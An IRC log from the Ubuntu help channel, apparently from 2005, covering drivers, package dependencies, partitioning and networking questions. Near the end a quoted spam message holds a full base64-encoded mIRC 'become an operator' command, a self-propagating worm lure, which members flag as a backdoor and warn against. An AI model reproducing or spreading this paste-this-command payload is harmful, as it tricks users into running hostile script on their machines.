Kyralthe Lab runs it :P11:25
Kyral!nvidia11:25
ubotu[nvidia]  at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia11:25
Kyraldalamar, try that11:25
LasseLlancer285, did you google it :p11:25
topyliohphracku: apt is perfect. it's always an admin error :)11:25
Dragon513I have Cool'nQuiet enabled, but once frequency scales up, it never comes down11:25
Kyralohphracku, so I had I when I came to Ubuntu11:25
dalamarthats the ones i have, ie not the ones off the nvidia site11:26
iratsuHow can i upgrade kernel modules?11:26
QMarioKyral, why didn't you take Calculus in High School?11:26
Kyraland I didn't know SHIT about Apt11:26
KyralI came from Slack and Gentoo11:26
Kyralstill a newbie in Ubuntu11:26
QMarioKyral, language!!!! :-X11:26
CPD|nons_in the FAQ it says swap partition should be at least 500mb, yet the installer allowed me only to set it to max. 180.9 mb, did I do smth wrong?11:26
lancer285LasseL, yes I did. I found a howto for ubuntu, But it says that when I'm in a console, I should hit the keys and get some sort of feedback on the screen, but I don't11:26
chrismyyeah how do i upgrade kernel module for invidia?11:26
chrismy*nvidia11:26
topyliKyral: ease up and use wajig like the real lazy admins do11:26
Kyralwajig?11:26
topyli!info wajig11:26
Kyraland I need to get to dinner11:26
ubotuwajig: (Simplified Debian package management front end), section universe/admin, is optional. Version: 2.0.17-1ubuntu1 (hoary), Packaged size: 72 kB, Installed size: 364 kB11:27
ohphrackuok sure think that but i know better nothing is perfect.11:27
iratsuchrismy: are you having the same problem as I?11:27
chrismyiratsu, oh yes11:27
QMario!wajig11:27
ubotuQMario: Syntax error in line 111:27
chrismyiratsu, you are looking for 2.0.1?11:27
Kyraltopyli, Apt+My Tweaked Bash Alias > ALL11:27
QMario!info smbclient11:27
ubotusmbclient: (a LanManager-like simple client for Unix), section net, is optional. Version: 3.0.10-1ubuntu3 (hoary), Packaged size: 2337 kB, Installed size: 5996 kB11:27
iratsuchrismy: 2.0.1?11:27
iratsuchrismy: what?11:27
lancer285!info multimedia keys11:27
dalamarsnes emulators run like poop cha-cha-cha11:27
topyliKyral: that's basically it. but ubuntu is only partly right, i should correct that factoid11:27
iratsuchrismy: I installed linux-image-2.6.11-1-686 and now my nvidia drive doesn't wanna work11:28
QMarioDalamar, you can always use WINE....11:28
QMario!Wine11:28
chrismyiratsu, i think so it is that. i mean the kernel module when i started linux. (graphics problem)11:28
dalamarQMario, even worse11:28
!lilo:*! Two servers restarted; affected users, 150.11:28
topyliKyral: it also handles alternatives, services and... well that's it11:28
Kyrallancer285, fire up the GNOME Keyboard Shortcuts thing in the Menus11:28
QMarioDalamar, why?11:28
Kyraland I really must go11:28
ohphracku i'll be hackin apt to fix this mess of meta bull spaggetti.11:28
chrismyiratsu, mine is ok but i just do not know how to deal with it. i think it is the latest kernel it wants11:28
lancer285Kyral, kay I have it open11:28
dalamarQMario, euns even slower11:28
iratsuDoes anyone know how to upgrade nvidia modules?11:28
HobartHas anyone gotten accel 3D working on non-cutting-edge 3D cards?11:28
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Kyrallancer285, just scroll through and manually assign the keys11:28
skitzoutdoes ubuntu have an auto updater?11:29
chrismyHobart, try Diamond :D11:29
Kyralohphracku, we cannot be held liable for your hacks to APT11:29
HobartApparently precision insight contributed NDA-signed working 3D for the old ATI Rage LT's to xfree11:29
lancer285Kyral, I've tried that. The keys don't have any output.11:29
Kyralah, then I dunno11:29
Kyraland I'm gone11:29
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lancer285Kyral, do I have to change my keyboard type somewhere?11:29
HobartBut glxinfo doesn't know diddly about 3D11:29
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metelliusi'm going to format this pc now, is there any way to get a complete listing of all packages installed for later reference?11:29
fotuentihi11:29
Hobartjust shows the software accel drivers11:29
ohphrackubut if you can show me howto install the core of anything i'll be amazed an greatfull11:29
Hobartmetellius, dpkg -l I think11:29
CPD|nons_in the FAQ it says swap partition should be at least 500mb, yet the installer allowed me only to set it to max. 180.9 mb, did I do smth wrong?11:29
chrismyHobart, is your card the latest? i notice that linux has not update itself.11:30
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chrismyor perhaps no such drivers yet11:30
Hobartchrismy, ATI 3D Rage LT Pro11:30
karimhi11:30
Hobart~5yrs old11:30
Hobartpredates Radeon11:30
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karimi breezy ok also on ppc ?11:30
karimis11:30
topyliuh. so how do you alter a factoid already in ubotu's brain?11:31
NeoFaxchrismy: What error did you get?11:31
NeoFaxCheck Xorg.0.log11:31
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QMario!Diamond11:31
chrismyHobart, hmm have you tried this https://wiki.ubuntu.com/BinaryDriverHowto/ATI?highlight=%28ati%2911:31
ubotuQMario: Wish i knew11:31
chrismyNeoFax, i thnk it is the newest kernel it is asking for.11:32
ohphrackui love it when a project cant do anything but say oh *foo is perfect. it dose'nt show much wisdom11:32
napsyHi. Does ubuntu have a rc.local like slackware had to run custom apps on startup?11:32
chrismyNeoFax, i have now reverted back my Xorg.conf so no probs:D BUT my drivers are old(i htink)11:32
chrismy*think11:32
skitzoutdoes ubuntu have an auto updater???11:32
AristoMagnusyes11:32
chrismyskitzout, yes it does11:32
LasseLskitzout, a great one even11:33
AristoMagnusapt-get install synaptic11:33
skitzoutHow do I access it?11:33
AristoMagnusapt-get install synaptic11:33
skitzouton root?11:33
chrismyNeoFax, ok what should i look for in Xorg.0.log?11:33
GregAscheskitzout: yea, or use sudo11:33
LasseLskitzout, do you have a default ubuntu install running ?11:33
QMario 11:33
skitzoutyes11:33
skitzoutit is default11:33
ohphrackuhttp://www.kde.org/info/requirements/3.4.php i want only "REQUIRDED" packs installed howto with apt11:33
LasseLskitzout, use the menu: System > Admin > Synaptic11:33
skitzoutwhy?11:33
chrismyQMario, how do you do that icon thing?11:33
Webby`11:34
Hobartchrismy, yeah, that's only for new Radeons11:34
ohphrackuand maybe some recommended ones ;] 11:34
LasseLskitzout, and if there is important updates they should show up as a red icon near the watch11:34
chrismyHobart, erm also for AMD64 only . it is written at the top of that page11:34
topyli!wajig11:34
topylihrmpf11:35
Dragon513is AMD 65 K7 or K8?11:35
topyli!wajig11:35
skitzoutit says i have a broken package11:35
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Dragon51364*..11:35
chrismyNote: Currently, ATI Drivers for AMD64 are only available in Hoary11:35
NeoFaxchrismy: Look for the error at the end.  However, since you have reverted the file will be wrong11:35
topyliubotu: wajig11:35
ubotuwajig is, like, a simple tool for basic debian administration. you can handle apt commands, change alternatives defaults and handle service daemons via simple commands. wajig uses sudo every time. http://www.togaware.com/linux/survivor/Wajig_Overview.html11:35
chrismyNeoFax, how is it so?11:35
LasseLskitzout, which one?11:35
topyliah. hey, is that too long? i just added wajig to ubotu11:36
chrismyNeoFax, i get this Warning: font renderer for ".bdf.Z" already registered at priority 011:36
Zugoti'm feeling adventurious11:36
chrismyNeoFax, and a few of those at the end of the file11:36
QMarioChrismy, huh? Do you mean the music symbols? Hee hee. Amaranth taught it to me. If you are using Unicode, Ctrl+Shift+266(A,B,C,etc.) Enjoy! ;)11:36
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Zugoti'm going to move a perfectly good redhat fedora core 4 setup to ubuntu 6411:36
LasseLskitzout, please ask in the channel, i may not know the best answers to your questions so PM me will just get you worse answers11:36
chrismyQMario, yeah! but what is 266?11:36
chrismy411:37
chrismy11:37
QMario     11:37
chrismygeee how?11:37
chrismy11:37
topyliZugot: sometimes you cannot resist the CALL of UBUNTU11:37
Zugot11:37
skitzoutHow can I tell what packages are broken?11:37
deflux-hrm11:37
QMario!Unicode11:37
ubotuQMario: Did you get hit by a windmill?11:37
deflux-The Apple 23" Cinema Display goes blank with the default install of xorg.11:37
deflux-Drat.11:37
chrismy!code11:37
ubotuBugger all, i dunno, chrismy11:37
chrismylol11:37
Zugottopyli, i normally run ubuntu... i didn't have an amd64 version of linux when i needed to do this install11:37
QMarioChrismy, you type in 266, and then you enter a letter.11:37
chrismy11:38
Zugot11:38
Zugotah11:38
chrismyl11:38
chrismy??11:38
Seveastake unicode tests to the offtopic channel please11:38
QMario       (266(A-G))11:38
QMarioHello Seveas! :)11:38
ohphrackuwow no answers and "Ubuntu" is an ancient African word, meaning "humanity to others" yeah real helpful community here. not11:38
topyliZugot: by all means, if i had a 64 bit machine, i'd run 64 bit ubuntu on it :)11:38
QMarioOhphracku, sarcasm?11:38
chrismyQMario, lol you are rather friendly11:39
ohphrackuyes :}11:39
LasseLskitzout, in Synaptic press the Search button, then select "broken"11:39
Zugoti'm taking the plunge now... just gotta back up some stuff to the usb drive first... i love usb drives11:39
nalioths_dogohphracku, if no one answers, nobody here knows11:39
chrismyohphracku, always is...always is11:39
Zugotohphracku, maybe we missed the question11:39
ohphracku"brings the spirit of Ubuntu to the software world."11:39
NeoFaxchrismy: See if you have a older Xorg.#.log in /var/log11:39
topyliohphracku: i guess it takes two to tango11:39
Zugoti just quit my job today...11:40
Zugoti'm excited... no more unix admin ... i've moved into the world of programming11:40
ohphrackupeople must know because i got such a hostile response to my question11:40
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Zugotohphracku, ask again...11:40
QMario!Botsnack.11:40
ubotuthanks qmario :)11:40
chrismyNeoFax, yes Xorg.0.log.old11:40
chrismyNeoFax, hmm same comments11:40
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LasseLskitzout, i meant Custom > Broken11:41
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kentohphracku, what was your question?11:41
ohphrackuinstead of helpin i got told im a newb for sure im not, i am a commiter to various projects11:41
Zugotactually... is there a breezy cd yet... or should i just install hoary and then immediately upgrade to breezy11:41
chrismyZugot, good question11:42
nalioths_dogZugot, if you like surprises, breezy is for you (still not quite ready for prime time)11:42
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QMarioZugot, no. Breezy comes out in October 2005.11:42
AristoMagnusyouppi !!!11:42
Zugotnalioths_dog, do you happen to know some of the major snafus?11:42
chrismyNeoFax, what's up?11:42
AristoMagnusBreazy !!11:42
QMarioNalioth, you have a dog?11:42
kentZugot, isn't the colony CDs test-versions of Breezy. They are on the homepage.. i think11:42
LasseLZugot, there is always a new release around the corner, now is as good a time as ever11:42
ohphrackuhow to install only core required packages for *foo i get tooo many dependencies that in reality are not11:42
hmrochahello11:42
nalioths_dogZugot, any update can cause a breakage (still)11:42
chrismyNeoFax, it has all the warnings about 'renderer'11:42
hmrochahow can i change the group that is allowed to mount usb devices?11:43
brk3vbgunz: when your in the resize partition, and says 'new partition size:', does that mean enter the size you want to reduce that partition to, or the size you want to reduce it by?11:43
hmrochai tried in /etc/udev/udev.rules11:43
hmrochabut it didn't work11:43
ZugotLasseL, thats what i was thinking... i'm pretty competent with linux.. i'll take my chances.  worse case, i'll back up my home directory and reinstall.  that doesn't take but a few minutes11:43
naliothQMario: yes i do, and sometimes he even wakes up to speak11:43
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ohphrackuwhen i wanted kde apt said i'll throwin every desktop app known to the OSS world :] 11:43
Hobartohphracku, check the dpkg manpage for the various "force" options if you sincerely believe the package will run without its dependencies11:43
kentohphracku, well, if they are no dependencies (and you can only know that by triyng your self) then remove them by hand with sudo apt-get remove package?11:43
QMarioOkay everyone! Thank you for you help! Bye! ;)11:43
chrismylol11:43
nalioths_dogZugot, if you are a veteran *nix user, have fun, but breezy is not for new users to *nix11:44
brk3does anyone know in the resize partition dialog when installing, and it says 'new partition size:', does that mean enter the size you want to reduce that partition to, or the size you want to reduce it by?11:44
ohphrackuthey where not dependecy r games a depend? no  are digital camera apps a depend no11:44
Hobartohphracku, I believe there is also an apt-get option ("--download" or something) that will snag the .deb w/o trying to install it, so you can dpkg force it in.11:44
LasseLZugot, actually I meant that you might as well install the hoary and upgrade -- since you will have to upgrade again in 6 months anyway11:44
NeoFaxchrismy: You do not have any other Xorg.#.log file?11:44
Zugotnalioths_dog, i've been a paid unix admin for 12 years now... full time linux admin for 6 years11:44
kentohphracku, say you think libgtkhtml are not needed, then run "sudo apt-get remove libgtkhtml".  As for the meta-packages, (ubuntu-desktop) you can remove packages from it.  Its ok, you dont need every program installed by default from that meta-package (for example..)11:44
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nalioths_dogZugot, then i say have fun11:44
Ebowleshow can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?11:45
Zugoti'm going to do it... once my home directory finishes backing up11:45
ohphrackuno kent u would have to see the output to understand my frustration11:45
thrushbrk3, the size of the partition11:45
nalioths_dogZugot, our job in here is to make life easy for new to *nix users (among other things)11:45
Zugoti use amanda to backup my home directory to a usb drive.. i'm a dork11:45
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mrchebasI have enabled more than one layout in System/Preferences/Keyboard in Hoary. How do i switch layouts, now?11:45
kentohphracku, I have personally removed some packages from it so I know it workes. It said it had to remove ubuntu-desktop (the meta-package) aswell, but thats a no-problem.11:45
kentohphracku, give me one of the programs you want to remove, and I will check my self if it works or not.11:46
brk3thrush: the size of the new one?11:46
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basiclerhello all11:46
thrushbrk3, yes11:46
LasseLmrchebas, i think you can rightclick the panel (with the menu) and add an applet for it11:46
basiclerum how do i get ubnutu live to start with no apic ?11:46
basiclerto resolve irq confilcts11:47
brk3thrush: say i have an 80gb partition, i want to free 10GB.. so when i go to resize that partition and it says enter size, should i enter 10GB?11:47
Zugot<ctrl><alt><delete>11:47
ohphrackumy real prob was with gettin kde on my laptop, apt wanted to install over 230 packs11:47
chrismyNeoFax, nope only that 2 in /var/log. also no others Xorg.?.log could be found :(11:47
nicknamex219hey i got a question about my dhcp connection for my modem.. some how its not detecting it and on other distros it automaticly detects it for my internet11:47
mrchebasLasseL: you are right, i overlooked an applet, i am trying now11:47
nicknamex219i even tried configuring it myself with my modem settings11:47
ohphrackuso i just said im goin back to slack11:47
ohphracku;] 11:47
nicknamex219still no luck for some reason11:47
thrushbrk3, you are in cfdisk?11:48
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CarlFKnicknamex219 - how are you connecting?  (I am trying to get dialup working)11:48
AristoMagnussomeone can tell me why gajim is not on apt11:48
mrchebasLasseL: It works now :)11:48
nicknamex219im connecting using a toshiba dsl modem11:48
brk3thrush: just the ubuntu installer11:48
kentohphracku, which package did you try to install to get kde?  not some meta-package right?11:48
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nicknamex219cable modem i mean11:48
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ohphrackuim sorry for the snap but false dependencies are so on my shi* list11:48
CarlFKnicknamex219 - ah, nm.11:48
Ebowleswhats the best program for burning dvds?11:48
chrismyNeoFax, you must be busy. i must go now to bed.....zzzz thanks a lot!11:48
ohphrackujust kde-base11:48
nicknamex219it usually detects everything auto11:48
Ebowlesdata dvds, that is11:49
nicknamex219with dhcp11:49
chrismybye good people11:49
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Fanskapethmm anyone used and configurated a pvpgn server?11:49
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thrushbrk3, enter the size for the new partition11:50
kentohphracku, as fare as I see, it only tries to install the needed stuff. (for me, 97mb  - but I had a few of the packages installed - though not manny of them). Thats not much, and I think you would not have a working system without all of the dependencies..11:50
c0d3sterim having some proftpd trouble11:50
brk3so 10gigs11:50
ohphrackui even did apt-cache search for the full name of the core packs and passed those to apt but it still wanted to do literally every desktop app i have ever even heard of11:50
c0d3steri followed this guide: http://www.ubuntuforums.org/showthread.php?t=51611&page=2&pp=1011:50
nicknamex219see it usually works on other distros like knoppix or gentoo11:50
nicknamex219but some how dhcp isnt being detected11:50
c0d3sterand now ANY user that connects is jailed in the FTP-shared directory11:51
brk3thrush: someone in #kubuntu just told me you enter the new total size of the partition11:51
thrushbrk3, yes you are creating a new partition11:51
c0d3steri want to specify a rule so that certain users aren't jailed in the /FTP-shared/ directory11:51
brk3thrush: ok11:51
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brk3thanks11:51
Ebowleshow can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?11:51
nicknamex219when it boots up for the time server it says temporary failure in name resolution.. and dhcp should be working11:51
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ohphrackuok i'll try to get this tool mastered but i wish the default behaviour was to install just the absolute requierments of a pack not what the packager "thought" i would want.11:52
ohphrackugosh i cant spell11:52
nicknamex219anyone got any advice on dhcp for a cable modem if it isnt being detected?11:52
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ohphrackureqiuerments11:52
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ohphracku;] 11:53
ohphrackudamn spam bots11:53
waynekruse22i was told to use this guide: https://wiki.ubuntu.com/ApacheMySQLPHP to get php, apache and mysql working11:53
dilligafvotes now.. do I install ubuntu ?11:53
omegadare I try to install the 6.8.2-54 xorg packages currently, on a 5.04 box?11:53
kentohphracku, it must have changed in Breezy then, becaus I saw only konqueror amongs the programs it wanted to install with kdebase..11:53
AristoMagnusYes11:53
NeoFaxchrismy: Sorry, I have to help the kids with homework11:53
AristoMagnusUbuntu is the best desktop distro ever11:53
waynekruse22but i go to the last thing - apt-get install php4-mysql11:53
dilligaf1 vote11:53
dilligaf2 votes11:53
waynekruse22and that package doesnt exist11:54
NoUsedilligaf you'll probably get a 'fair and balanced' poll in the ubuntu channel ;-)11:54
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waynekruse22where do i get that package from?11:54
AristoMagnuswaynekruse22: you send private message11:54
ompaulohphracku, do /umode +CE and get out of channels where they are hitting you from :)11:54
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AristoMagnusfreenode'waynekruse22 Want to be an OPERATOR in #ubuntu ? copy/paste this-> //write  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIFdhbnQgdG8gYmUgYW4gT1BFUkFUT1IgaW4gJGNoYW4gPyBjb3B5L3Bhc3RlIHRoaXMtPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=11:54
AristoMagnus,m) | .load -rs  | //mode11:54
dilligafonly one problem with ubuntu live.. it doesnt seem to use soundblaster as default11:54
AristoMagnusstop that anoying script11:54
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kentohphracku, ok, some other programs aswell..  kappfinder, kate, kfind etc. But it guess you can remove them later on.11:54
dilligafand them effing bots need booted11:54
ompaul!ops11:54
ubotuHelp! seb128, bob2, fabbione, lamont, thom, Keybuk, fooishbar, jdub, mdz, Amaranth, tritium, ajmich, crimsun, ogra, CarlK, Seveas, Burgundavia!11:54
Seveasfuck it11:54
dreamieok11:55
Seveaswaynekruse22, FUCK OFF A*HOLE11:55
AristoMagnusSeveas:11:55
quamwhats with the damn spammers in ubuntu-unregged11:55
apokryphosheh, he's back?11:55
nicknamex219that decode shit is a backdoor11:55
dilligafive come at a bad time... LOL11:55
apokryphoshah, /msg to me too11:55
dreamiewhy is someone msg me about being an op at ubuntu?11:55
waynekruse22how do u install .deb's in ubuntu?11:55
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AristoMagnusbackdoor for mirc i think lol11:55
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c0d3sterI'm having some proftpd trouble.. I followed this guide: http://www.ubuntuforums.org/showthread.php?t=51611&page=2&pp=10 ... And now ANY user that connects to the FTP is jailed in the /FTP-shared/ directory... I want to specify a rule so that certain users aren't jailed in the /FTP-shared/ directory11:55
dilligafmirc.. whod dream of using that trash LOL11:55
Swoop|Arounddreamie: it's a trick11:55
dilligafloser bots doesnt know this is linux11:55
Swoop|Aroundmy norton antivirus picks up on it when people copy paste it here even11:56
Swoop|Arounddont do any of it11:56
apokryphosdreamie: evil spammers :)11:56
nicknamex219well im using mirc right now since i cant get my dhcp working on linux11:56
ompaulSeveas, thanks :)11:56
ohphrackudie spam!11:56
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ompaul!spam11:56
ubotufrom memory, spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter11:56
c0d3sterplease :) someone help me.. :?11:56
dreamiehow do you know that was a backdoor?11:56
AristoMagnusi think its like a bufferoverflow11:57
nicknamex219because its a decode script11:57
ohphrackuim good only get hit by em once in a while11:57
c0d3sterSeveas. you around?11:57
Seveasc0d3ster, in a meeting11:57
ompaulc0d3ster, he be in a meeting11:57
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dreamieanyways i have a small problem i have xine, vlc and totem.. the problem is that i can not see a dvd. i can hear the dvd but see no audio in xine, vlc doesnt even recognize the dvd, and totem just freezes11:58
dilligafthis is really a crap time, Ill back anther day11:58
nalioths_dogyou folks running windows, DO NOT run that "want to be op in #ubuntu" command, it is lots of trouble for your system11:58
dreamiewhat can i do about this?11:58
Ebowleshow can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?11:58
dilligaffolks runnin winders.. get it formatted ;)11:58
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lsuactiafnerdreamie : mplayer dvd://1 -aid 128 -alang en,EN -ao esd11:59
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ohphrackuc0d3ster gets it hotter than a toaster with the algorithims straight bolstered yeah bring it robust "in linux we trust" ;] 11:59
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c0d3sterehhh11:59
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c0d3steryou know it ;)11:59
ohphrackulol11:59
ompaulEbowles, use system preferences themes or if it is good enough right click on the desktop and choose something else11:59
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